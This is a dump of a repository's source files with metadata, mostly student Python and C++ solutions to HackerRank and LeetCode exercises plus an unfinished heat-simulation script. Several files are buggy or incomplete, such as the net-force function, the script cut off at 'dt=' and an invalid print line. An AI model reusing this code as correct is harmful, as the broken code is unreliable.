"text": "# Given an array of integers, calculate the fractions of its elements that are positive, negative, and are zeros. \r\n# Print the decimal value of each fraction on a new line.\r\n\r\n#!/bin/python3\r\n\r\n# import math\r\n# import os\r\n# import random\r\n# import re\r\n# import sys\r\n\r\n# Complete the plusMinus function below.\r\ndef plusMinus(arr):\r\n p = 0\r\n ne = 0\r\n z = 0\r\n for i in range(0, n):\r\n if arr[i] > 0:\r\n p += 1\r\n elif arr[i] < 0: \r\n ne += 1\r\n elif arr[i] == 0:\r\n z += 1\r\n pr = p/n\r\n nr = ne/n\r\n zr = z/n\r\n print(round(pr, 6))\r\n print(round(nr, 6))\r\n print(round(zr, 6))\r\nif __name__ == '__main__':\r\n n = int(input())\r\n\r\n arr = list(map(int, input().rstrip().split()))\r\n\r\n plusMinus(arr)\r\n"
},
{
"alpha_fraction": 0.5630323886871338,
"alphanum_fraction": 0.5902895927429199,
"avg_line_length": 29.783782958984375,
"blob_id": "f574cf53b7b6eb058fd1d50424c614163120faf3",
"content_id": "e30a21f1e3e04b1f8554ef57260ddf115c3a8577",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1174,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 37,
"path": "/Day71/FreeBodyObjects2.py",
"repo_name": "pranjals149/Python",
"src_encoding": "UTF-8",
"text": "from math import sin, cos, atan2, radians, degrees, sqrt\r\n\r\nclass Force:\r\n def __init__(self, magnitude, angle):\r\n self.magnitude = magnitude\r\n self.angle = angle\r\n \r\n def get_horizontal(self):\r\n horizontal = self.magnitude * cos(self.angle)\r\n return horizontal\r\n\r\n def get_vertical(self):\r\n vertical = self.magnitude * sin(self.angle)\r\n return vertical\r\n \r\n def get_angle(self, use_degrees = True):\r\n if use_degrees == True: return self.angle\r\n else: \r\n pi = 22/7\r\n radian = self.angle * (pi/180)\r\n return radian\r\n\r\ndef find_net_force(lst):\r\n for i in range(len(lst)):\r\n total_horizontal = lst[i].get_horizontal\r\n total_vertical = lst[i].get_vertical\r\n net_force = (total_horizontal ** 2 + total_vertical ** 2) ** 0.5\r\n ang = math.atan2(total_vertical, total_horizontal)\r\n return round(net_force, 1), round(ang, 1)\r\n\r\nforce_1 = Force(50, 90)\r\nforce_2 = Force(75, -90)\r\nforce_3 = Force(100, 0)\r\nforces = [force_1, force_2, force_3]\r\nnet_force = find_net_force(forces)\r\nprint(net_force.magnitude)\r\nprint(net_force.get_angle())"
},
{
"alpha_fraction": 0.6442542672157288,
"alphanum_fraction": 0.645476758480072,
"avg_line_length": 23.5625,
"blob_id": "572671b8bc303442b1bd269a4fba4a88158048df",
"content_id": "2f1085bbc31849edcc37752b605be23d2a56cec1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 818,
"license_type": "no_license",
"max_line_length": 122,
"num_lines": 32,
"path": "/A_very_big_sum.py",
"repo_name": "pranjals149/Python",
"src_encoding": "UTF-8",
"text": "# Calculate and print the sum of the elements in an array, keeping in mind that some of those integers may be quite large.\r\n# Function Description\r\n# Complete the aVeryBigSum function in the editor below. It must return the sum of all array elements.\r\n# aVeryBigSum has the following parameter(s):\r\n# ar: an array of integers .\r\n\r\n#!/bin/python\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\n# Complete the aVeryBigSum function below.\r\ndef aVeryBigSum(ar):\r\n sum = 0\r\n for i in range(len(ar)):\r\n sum = sum + ar[i]\r\n return sum\r\nif __name__ == '__main__':\r\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\r\n\r\n ar_count = int(raw_input())\r\n\r\n ar = map(long, raw_input().rstrip().split())\r\n\r\n result = aVeryBigSum(ar)\r\n\r\n fptr.write(str(result) + '\\n')\r\n\r\n fptr.close()\r\n"
}
] | 6 |
Adelixxe/tipe | https://github.com/Adelixxe/tipe | dd704ff46259f74191a031cb79f6e5eff4878471 | 036648513668b7e13bc7d47ed7ef5cde1b4118f8 | aaee06d021adfd53daff2f08c3ffb268d538a9cc | refs/heads/master | 2023-01-13T22:19:56.395653 | 2020-11-25T14:25:56 | 2020-11-25T14:25:56 | 313,938,896 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.575596809387207,
"alphanum_fraction": 0.7002652287483215,
"avg_line_length": 24.200000762939453,
"blob_id": "adac94758ae6a67e58899136988ad5a09fb9f892",
"content_id": "1189e52681e505cf66a1bfd5236591c59cc5b821",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 380,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 15,
"path": "/main.py",
"repo_name": "Adelixxe/tipe",
"src_encoding": "UTF-8",
"text": "import numpy as np\nimport matplotlib.pyplot as plot\n\n\nlong=larg=haut=30 #Dimensions bac 30x30x30 (mm)\nlambdaT = 0.75\nµ=1250 #Volume massique 1250 pour la terre\nc=1350 #Capacité thermique 1350 pour la terre\ndifTherm= lambdaT/(µ*c) #On obtient 0.44 *10^-6\nTf, Tc = 300, 700\n\ndx=dy=dz=0.1\nnx,ny,nz = int(larg/dx), int(long/dy), int(haut/dz)\ndx2, dy2, dz2 = dx**2, dy**2, dz**2\ndt="
}
] | 1 |
xwzded07/leetcode | https://github.com/xwzded07/leetcode | 1316b44660319bf3a8b8754b78bc83cea4197c85 | 3dd89729ce36ea783101a13580d3d6b125a842c9 | e6fe9017e032656804f396f54cc440d81c9d5e02 | refs/heads/master | 2021-01-18T20:18:03.644111 | 2015-01-15T05:51:11 | 2015-01-15T05:51:11 | 27,917,587 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6666666865348816,
"alphanum_fraction": 0.6726190447807312,
"avg_line_length": 14.272727012634277,
"blob_id": "9fcadc8bfbd87c99a3a36bdc831e1b7df77ae76f",
"content_id": "49be855e9b9cb99037d7742da9c819fa33b547c4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 168,
"license_type": "no_license",
"max_line_length": 33,
"num_lines": 11,
"path": "/template.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <assert.h>\nusing namespace std;\n\nint main(int argc, char **argv) {\n Solution s;\n\n return 0;\n}\n"
},
{
"alpha_fraction": 0.47887325286865234,
"alphanum_fraction": 0.5234741568565369,
"avg_line_length": 22.72222137451172,
"blob_id": "89b7856519f574dfbdc82b72088ace1487f43243",
"content_id": "20c041b5b2751308bc7600a6c4c63a9945574e92",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 426,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 18,
"path": "/9_two_sum/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\nclass Solution:\n # @return a tuple, (index1, index2)\n def twoSum(self, num, target):\n lookup = {}\n for idx in xrange(0, len(num)):\n if target - num[idx] in lookup:\n return (lookup[target-num[idx]]+1, idx+1)\n lookup[num[idx]] = idx\n\n\n\ns = Solution()\nprint s.twoSum([1,5,3,8,4], 7) # (3, 5)\nprint s.twoSum([1,6], 7) # (1, 2)"
},
{
"alpha_fraction": 0.3731958866119385,
"alphanum_fraction": 0.4082474112510681,
"avg_line_length": 19.25,
"blob_id": "59258d720dcc5408dbab1f8d742792d38e28bc8d",
"content_id": "74d962cbc38a09bd3a3065352738c38d9c860812",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 485,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 24,
"path": "/18_unique_paths/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @return an integer\n def uniquePaths(self, m, n):\n if m == 0 or n == 0:\n return 0\n if m == 1 or n == 1:\n return 1\n\n sum = m + n -2\n num = 1\n # [m...sum]\n for x in xrange(m, sum+1):\n num *= x\n # [1..n-1]\n for x in xrange(1, n):\n num /= x\n \n return num\n\ns = Solution()\nprint s.uniquePaths(3, 7) # 28"
},
{
"alpha_fraction": 0.49586373567581177,
"alphanum_fraction": 0.5094890594482422,
"avg_line_length": 24.060976028442383,
"blob_id": "ad992ae11fdec8e8d0182a0130a98ceb0e84fe42",
"content_id": "cf87148bcbcb30e2bb54801137986aa3ba7130c0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2055,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 82,
"path": "/50_construct_binary_tree_from_preorder_and_inorder_traversal/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <queue>\n#include <assert.h>\n\nusing namespace std;\n\nstruct TreeNode {\n int val;\n TreeNode *left;\n TreeNode *right;\n TreeNode(int x) : val(x), left(NULL), right(NULL) {}\n};\n\nclass Solution {\npublic:\n TreeNode *buildTree(vector<int> &preorder, vector<int> &inorder) {\n return this->build(preorder, 0, preorder.size() - 1, inorder, 0, inorder.size() - 1);\n }\n\n TreeNode *build(vector<int> &preorder, int pl, int pr, vector<int> &inorder, int il, int ir) {\n if (pl > pr)\n return NULL;\n\n TreeNode *node = new TreeNode(preorder[pl]);\n int index = il;\n while (1) {\n if (inorder[index] == preorder[pl])\n break;\n index++;\n }\n int &root_index = index;\n node->left = build(preorder, pl + 1, pl + root_index - il, inorder, il, root_index - 1);\n node->right = build(preorder, pl + root_index - il + 1, pr, inorder, root_index + 1, ir);\n return node;\n }\n};\n\nvoid bfs(TreeNode *root) {\n if (root == NULL) {\n cout << \"tree is empty!\" << endl;\n return;\n }\n queue<TreeNode *> q;\n q.push(root);\n int cur = 1;\n int next = 0;\n int count = 0;\n while (!q.empty()) {\n TreeNode *node = static_cast<TreeNode *>(q.front());\n q.pop();\n cout << node->val;\n count++;\n if (node->left) {\n q.push(node->left);\n next++;\n }\n if (node->right) {\n q.push(node->right);\n next++;\n }\n if (count == cur) {\n cout << endl;\n count = 0;\n cur = next;\n }\n }\n}\n\nint main(int argc, char **argv) {\n Solution s;\n int pre_seq[] = {1,2,4,3,5,6};\n int in_seq[] = {2,4,1,5,3,6};\n vector<int> preorder(pre_seq, pre_seq + 6);\n vector<int> inorder(in_seq, in_seq + 6);\n TreeNode *node = s.buildTree(preorder, inorder);\n cout << \"pinrt binary tree in bfs\" << endl;\n bfs(node);\n\n return 0;\n}\n"
},
{
"alpha_fraction": 0.38172921538352966,
"alphanum_fraction": 0.41435563564300537,
"avg_line_length": 28.190475463867188,
"blob_id": "e4c3790481dd6a6642f5b2e1a5809692123fc413",
"content_id": "5d04b1ade9873f4154d88b6ec5c37f7d5b8c138e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1226,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 42,
"path": "/16_maximal_rectangle/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param matrix, a list of lists of 1 length string\n # @return an integer\n def maximalRectangle(self, matrix):\n if not matrix or not matrix[0]:\n return 0\n height = len(matrix)\n width = len(matrix[0])\n h = [0 for col in xrange(0, width+1)]\n max_area = 0\n\n for row in xrange(0, height):\n for col in xrange(0, width):\n if matrix[row][col] == '1':\n h[col] += 1\n else:\n h[col] = 0\n\n s = []\n for col in xrange(0, width+1):\n if len(s) == 0 or h[s[-1]] <= h[col]:\n s.append(col)\n else:\n while len(s) > 0 and h[s[-1]] > h[col]:\n top = s.pop()\n w = col if len(s) == 0 else col - s[-1] - 1\n max_area = max(max_area, w * h[top])\n s.append(col)\n\n return max_area\n\n\n\n\ns = Solution()\nmatrix = [['1', '1', '0', '1'], ['1', '1', '1', '1'], ['0', '1', '1', '1'], ['1', '0', '0', '1']]\nfor row in matrix:\n print row\nprint s.maximalRectangle(matrix) # 6\n"
},
{
"alpha_fraction": 0.42352941632270813,
"alphanum_fraction": 0.46117648482322693,
"avg_line_length": 20.299999237060547,
"blob_id": "3c4a1664924f9353c9362f129fdae62afb7d0f43",
"content_id": "24b690bc7e846a725cd3373f7779b36b2035549b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 425,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 20,
"path": "/31_remove_duplicates_from_sorted_array/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param a list of integers\n # @return an integer\n def removeDuplicates(self, A):\n if len(A) <= 1:\n return len(A)\n\n p = 1\n for q in xrange(1, len(A)):\n if A[q] != A[q-1]:\n A[p] = A[q]\n p += 1\n return p\n\ns = Solution()\nl = [1,1,2,3,4,4,4,5,6]\nprint s.removeDuplicates(l) # 6"
},
{
"alpha_fraction": 0.4439024329185486,
"alphanum_fraction": 0.48048779368400574,
"avg_line_length": 20.578947067260742,
"blob_id": "e1a54b8d8f509560c312b1ad1e77298668ab0f47",
"content_id": "5f5649d8646add92e51cdcbc025525ce4addc82a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 410,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 19,
"path": "/35_pascals_triangle_ii/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @return a list of integers\n def getRow(self, rowIndex):\n if rowIndex < 0:\n return []\n\n row = [1]\n for i in xrange(1, rowIndex+1):\n for k in xrange(0, i-1):\n row[k] = row[k] + row[k + 1]\n row.insert(0, 1)\n\n return row\n\ns = Solution()\nprint s.getRow(3) # [1,3,3,1] "
},
{
"alpha_fraction": 0.48989489674568176,
"alphanum_fraction": 0.5327404737472534,
"avg_line_length": 30.743589401245117,
"blob_id": "4dd92c13b78ef754f75dace192bd180be1f8238e",
"content_id": "2fe77c8fc0be5460d5966c94e7230b17dee46a75",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1237,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 39,
"path": "/19_unique_paths_ii/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param obstacleGrid, a list of lists of integers\n # @return an integer\n def uniquePathsWithObstacles(self, obstacleGrid):\n if not obstacleGrid or not obstacleGrid[0]:\n return 0\n if obstacleGrid[0][0] == 1 or obstacleGrid[-1][-1] == 1:\n return 0\n height = len(obstacleGrid)\n width = len(obstacleGrid[0])\n\n paths = [[0 for col in xrange(0, width)] for row in xrange(0, height)]\n\n paths[0][0] = 1\n for col in xrange(1, width):\n paths[0][col] = 1 if paths[0][col-1] == 1 and obstacleGrid[0][col] == 0 else 0\n for row in xrange(1, height):\n paths[row][0] = 1 if paths[row-1][0] == 1 and obstacleGrid[row][0] == 0 else 0\n\n for row in xrange(1, height):\n for col in xrange(1, width):\n if obstacleGrid[row][col] == 1:\n paths[row][col] = 0\n else:\n paths[row][col] += paths[row][col-1]\n paths[row][col] += paths[row-1][col]\n\n return paths[height-1][width-1]\n\nplane = [\n [0,0,0],\n [0,1,0],\n [0,0,0]\n]\ns = Solution()\nprint s.uniquePathsWithObstacles(plane) # 2"
},
{
"alpha_fraction": 0.35338345170021057,
"alphanum_fraction": 0.3934836983680725,
"avg_line_length": 21.16666603088379,
"blob_id": "5b0dd9812c35c2911d145d9d63b5db0c1a1b7dbe",
"content_id": "b93df2c7fc9d521e012eeed1170acbe4125572e3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 798,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 36,
"path": "/38_merge_sorted_array/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n\nclass Solution {\npublic:\n void merge(int A[], int m, int B[], int n) {\n int r = m + n - 1;\n m--;\n n--;\n while (m >= 0 && n >= 0) {\n if (A[m] > B[n])\n A[r--] = A[m--];\n else\n A[r--] = B[n--];\n }\n while (n >= 0) {\n A[r--] = B[n--];\n }\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int A[] = {5,7,9,11,13,15,0,0,0,0,0,0};\n int B[] = {2,4,6,8,10,12};\n s.merge(A, 6, B, 6);\n\n // std::copy(path.begin(), path.end(), std::ostream_iterator<char>(std::cout, \" \"));\n for (int i = 0; i < sizeof(A)/sizeof(A[0]); ++i) {\n std::cout << A[i] << \" \";\n }\n std::cout << std::endl;\n\n return 0;\n}\n"
},
{
"alpha_fraction": 0.37934666872024536,
"alphanum_fraction": 0.39093783497810364,
"avg_line_length": 22.14634132385254,
"blob_id": "d1671eb8e54a27841e13d5c685d918101c49a20d",
"content_id": "8ea95b028fab6b39321e344088d5b936491eab65",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 949,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 41,
"path": "/8_reverse_words_in_a_string/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param s, a string\n # @return a string\n def reverseWords(self, s):\n if len(s) < 2:\n return s\n\n sl = list(s)\n s = 0\n e = 0\n while s < len(sl):\n while s < len(sl) and sl[s] == ' ':\n s += 1\n if s == len(sl):\n break\n e = s + 1\n while e < len(sl) and sl[e] != ' ':\n e += 1\n self.reversePart(sl, s, e-1)\n s = e + 1\n\n return ''.join(sl)\n def reversePart(self, l, s, e):\n if s >= len(l):\n return\n while s < e:\n tmp = l[s]\n l[s] = l[e]\n l[e] = tmp\n s += 1\n e -= 1\n \n\ns = Solution()\nprint s.reverseWords(\" aha ! let's start coding!! \")\nprint s.reverseWords(\"ab\")\nprint s.reverseWords(\"e \")\nprint s.reverseWords(\" b\")\n"
},
{
"alpha_fraction": 0.42473119497299194,
"alphanum_fraction": 0.47132617235183716,
"avg_line_length": 19.703702926635742,
"blob_id": "a8fc95debf8e5522a49291d0aa241f6d9a9dd3cf",
"content_id": "fa1434ee079c4da468b9b0f5b5ac08f5764f9cac",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 558,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 27,
"path": "/34_pascals_triangle/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @return a list of lists of integers\n def generate(self, numRows):\n if numRows <= 0:\n return []\n\n triangle = [[1]]\n for i in xrange(1, numRows):\n row = [1]\n for k in xrange(1, i):\n row.append(triangle[i-1][k-1] + triangle[i-1][k])\n row.append(1)\n triangle.append(row)\n return triangle\n\ns = Solution()\nprint s.generate(5) \n\"\"\"[\n [1],\n [1,1],\n [1,2,1],\n [1,3,3,1],\n [1,4,6,4,1]\n]\"\"\""
},
{
"alpha_fraction": 0.4376012980937958,
"alphanum_fraction": 0.47649919986724854,
"avg_line_length": 23.68000030517578,
"blob_id": "883adcd74e14f413e634df02e2a6d2801e33f60f",
"content_id": "b997a35f4ad6a048ce706b4b4034710c386c73e1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 617,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 25,
"path": "/5_max_subarrary/dp_On.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n\nclass Solution:\n # @param A, a list of integers\n # @return an integer\n def maxSubArray(self, A):\n if not A:\n return 0\n N = len(A)\n presum = A[0]\n result = A[0]\n for idx in range(1, N):\n if presum > 0:\n presum += A[idx] \n else:\n presum = A[idx]\n result = max(result, presum)\n return result\n \n \ns = Solution()\nprint s.maxSubArray([-2,-3,0,-1])\nprint s.maxSubArray([-3,-2,0,-1])\nprint s.maxSubArray([1,2])\nprint s.maxSubArray([-2,1,-3,4,-1,2,1,-5,4])\n"
},
{
"alpha_fraction": 0.520193874835968,
"alphanum_fraction": 0.5347334146499634,
"avg_line_length": 22.37735939025879,
"blob_id": "c510c98bc5b807bf965e24615117ba78f3631f99",
"content_id": "e28d09567677bba2e54847292da6468730186fc2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1238,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 53,
"path": "/2_binary_tree_level_order_traversal/s1-leveled-value.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n\n\"\"\"\nGot trapped at a little syntax error, \nlint is as important as carefullness.\n\"\"\"\n\n\n# Definition for a binary tree node\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n # @param root, a tree node\n # @return a list of lists of integers\n def levelOrder(self, root):\n if not root:\n return []\n \n result = []\n \n nodes = [root] # list of all nodes\n idx = 0\n current_line_start = 0\n current_line_end = 0\n while idx < len(nodes):\n node = nodes[idx]\n if node.left:\n nodes.append(node.left)\n if node.right:\n nodes.append(node.right)\n if idx == current_line_end:\n result.append([x.val for x in nodes[current_line_start:current_line_end+1]])\n current_line_start = current_line_end + 1\n current_line_end = len(nodes) - 1\n idx += 1\n \n return result\n\n\nroot = TreeNode(1)\nn3 = TreeNode(3)\nn5 = TreeNode(5)\nn7 = TreeNode(7)\nroot.left = n3\nroot.right = n5\nn3.right = n7\n\ns = Solution()\nprint s.levelOrder(root)"
},
{
"alpha_fraction": 0.38433516025543213,
"alphanum_fraction": 0.3952641189098358,
"avg_line_length": 20.959999084472656,
"blob_id": "bfaa086d34371f0e7e0e0f4ab579927e7014c563",
"content_id": "9b54624facdce4cefc243c25244d92288b7c170b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 549,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 25,
"path": "/30_remove_element/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param A a list of integers\n # @param elem an integer, value need to be removed\n # @return an integer\n def removeElement(self, A, elem):\n if not A:\n return 0\n\n s = 0\n e = len(A) - 1\n while s <= e:\n if A[s] == elem:\n tmp = A[s]\n A[s] = A[e]\n A[e] = tmp\n e -= 1\n else:\n s += 1\n return s\n\ns = Solution()\nprint s.() # "
},
{
"alpha_fraction": 0.38441890478134155,
"alphanum_fraction": 0.4201788008213043,
"avg_line_length": 20.77777862548828,
"blob_id": "5c79fd3f4c83df31a0c4d03033d1229708de8d90",
"content_id": "cfd6321d03c8b9a49fe8645ef9d894df1ebeca98",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 783,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 36,
"path": "/3_count_and_say/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\nclass Solution:\n # @return a string\n def countAndSay(self, n):\n if n <= 0:\n return ''\n\n seq1 = '1'\n seq2 = ''\n \n for i in xrange(0, n-1):\n s = 0\n while s < len(seq1):\n e = s + 1\n while e < len(seq1) and seq1[e] == seq1[s]:\n e += 1\n l = e - s\n seq2 += str(l)\n seq2 += seq1[s]\n s = e\n seq1 = seq2\n seq2 = ''\n \n return seq1\n \n\ns = Solution()\nprint s.countAndSay(-1)\nprint s.countAndSay(0)\nprint s.countAndSay(2)\nprint s.countAndSay(3)\nprint s.countAndSay(4)\nprint s.countAndSay(5)\nprint s.countAndSay(6)"
},
{
"alpha_fraction": 0.5538827180862427,
"alphanum_fraction": 0.5641838312149048,
"avg_line_length": 27.370786666870117,
"blob_id": "08c59b9c6f03d160ad3fcb20cf3e484de2a1a1ae",
"content_id": "42a79909fa3d58f2a5164b73dd2b4ead038903b6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2524,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 89,
"path": "/7_lru_cache/retype2.s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass CacheNode(object):\n def __init__(self, key=None, value=None, previous=None, next=None):\n self.key = key\n self.value = value\n self.previous = previous\n self.next = next\n\nclass LRUCache:\n # @param capacity, an integer\n def __init__(self, capacity):\n self.capacity = capacity\n self.count = 0\n self.cache = {}\n\n # use double linked list to track lru node\n self.head = CacheNode()\n self.tail = CacheNode()\n self.head.next = self.tail\n self.tail.previous = self.head\n\n # @return an integer\n def get(self, key):\n \"\"\"\n Get the value (will always be positive) of the key \n if the key exists in the cache, otherwise return -1.\n \"\"\"\n if key in self.cache:\n node = self.cache[key]\n self.move_head(node)\n return node.value\n else:\n return -1\n\n # @param key, an integer\n # @param value, an integer\n # @return nothing\n def set(self, key, value):\n \"\"\"\n Set or insert the value if the key is not already present. \n When the cache reached its capacity, it should invalidate \n the least recently used item before inserting a new item.\n \"\"\"\n if key in self.cache: # revise existing node\n node = self.cache[key]\n node.value = value\n self.move_head(node)\n elif self.count < self.capacity: # add new node\n node = CacheNode(key, value)\n self.cache[key] = node\n self.put_head(node)\n self.count += 1\n else: # replace existing node\n node = self.tail.previous\n del self.cache[node.key]\n node.key = key\n node.value = value\n self.cache[key] = node\n self.move_head(node)\n\n def move_head(self, node):\n node.previous.next = node.next\n node.next.previous = node.previous\n node.next = self.head.next\n node.previous = self.head\n node.next.previous = node\n node.previous.next = node\n\n def put_head(self, node):\n node.next = self.head.next\n node.previous = self.head\n node.next.previous = node\n node.previous.next = node\n\n\n\ncache = LRUCache(3)\ncache.set(1,1)\ncache.set(2,2)\ncache.set(3,3)\nprint cache.get(3) # 3\nprint cache.get(5) # -1\ncache.set(1, 4)\ncache.set(4, 5)\nprint cache.get(1) # 4\nprint cache.get(2) # -1\nprint cache.get(4) # 5"
},
{
"alpha_fraction": 0.4177005887031555,
"alphanum_fraction": 0.4499586522579193,
"avg_line_length": 23.693878173828125,
"blob_id": "19014da35b0af2c125060c908acf36a02e0339af",
"content_id": "d7e579e4e64e16facd806dc2418e8b8213cfa3be",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1209,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 49,
"path": "/28_search_a_2d_matrix/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param matrix, a list of lists of integers\n # @param target, an integer\n # @return a boolean\n def searchMatrix(self, matrix, target):\n if not matrix or not matrix[0]:\n return False\n\n # binary search rows\n s = 0\n e = len(matrix) - 1\n while s <= e:\n mid = (s + e) / 2\n if matrix[mid][-1] < target:\n s = mid + 1\n elif matrix[mid][0] > target:\n e = mid - 1\n else:\n break\n if s <= e:\n row = mid\n else:\n return False\n\n # binary search inside row\n s = 0\n e = len(matrix[row]) - 1\n while s <= e:\n mid = (s + e) / 2\n if matrix[row][mid] == target:\n return True\n if matrix[row][mid] > target:\n e = mid - 1\n else:\n s = mid + 1\n return False\n\nmatrix = [\n [1, 3, 5, 7],\n [10, 11, 16, 20],\n [23, 30, 34, 50]\n]\ns = Solution()\nprint s.searchMatrix(matrix, 3) # True\nprint s.searchMatrix(matrix, 16) # True\nprint s.searchMatrix(matrix, 15) # False"
},
{
"alpha_fraction": 0.5240206718444824,
"alphanum_fraction": 0.5284552574157715,
"avg_line_length": 28.413043975830078,
"blob_id": "14308698813bb8fbf3458eb756746e63a53359a9",
"content_id": "bbfac25bbcacf37f52dd4631a190a505c174a967",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1353,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 46,
"path": "/46_insert_interval/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\nusing namespace std;\n\nstruct Interval {\n int start;\n int end;\n Interval() : start(0), end(0) {}\n Interval(int s, int e) : start(s), end(e) {}\n};\n\nclass Solution {\npublic:\n vector<Interval> insert(vector<Interval> &intervals, Interval insertInterval) {\n std::vector<Interval> newIntervals;\n if (intervals.size() == 0)\n return newIntervals;\n\n for (vector<Interval>::iterator it = intervals.begin();\n it != intervals.end();\n it++) {\n if (insertInterval.start == -1) { // already inserted to new vector\n newIntervals.push_back(*it);\n } else {\n if (it->end < insertInterval.start) {\n newIntervals.push_back(*it);\n } else if (it->start > insertInterval.end) {\n newIntervals.push_back(insertInterval);\n newIntervals.push_back(*it);\n insertInterval.start = -1;\n } else {\n insertInterval.start = min(insertInterval.start, it->start);\n insertInterval.end = max(insertInterval.end, it->end);\n }\n }\n }\n return newIntervals;\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n\n return 0;\n}\n"
},
{
"alpha_fraction": 0.40608760714530945,
"alphanum_fraction": 0.4313288927078247,
"avg_line_length": 23.509090423583984,
"blob_id": "fa5754a2cd24e863df11c814c5bfc64183e52aad",
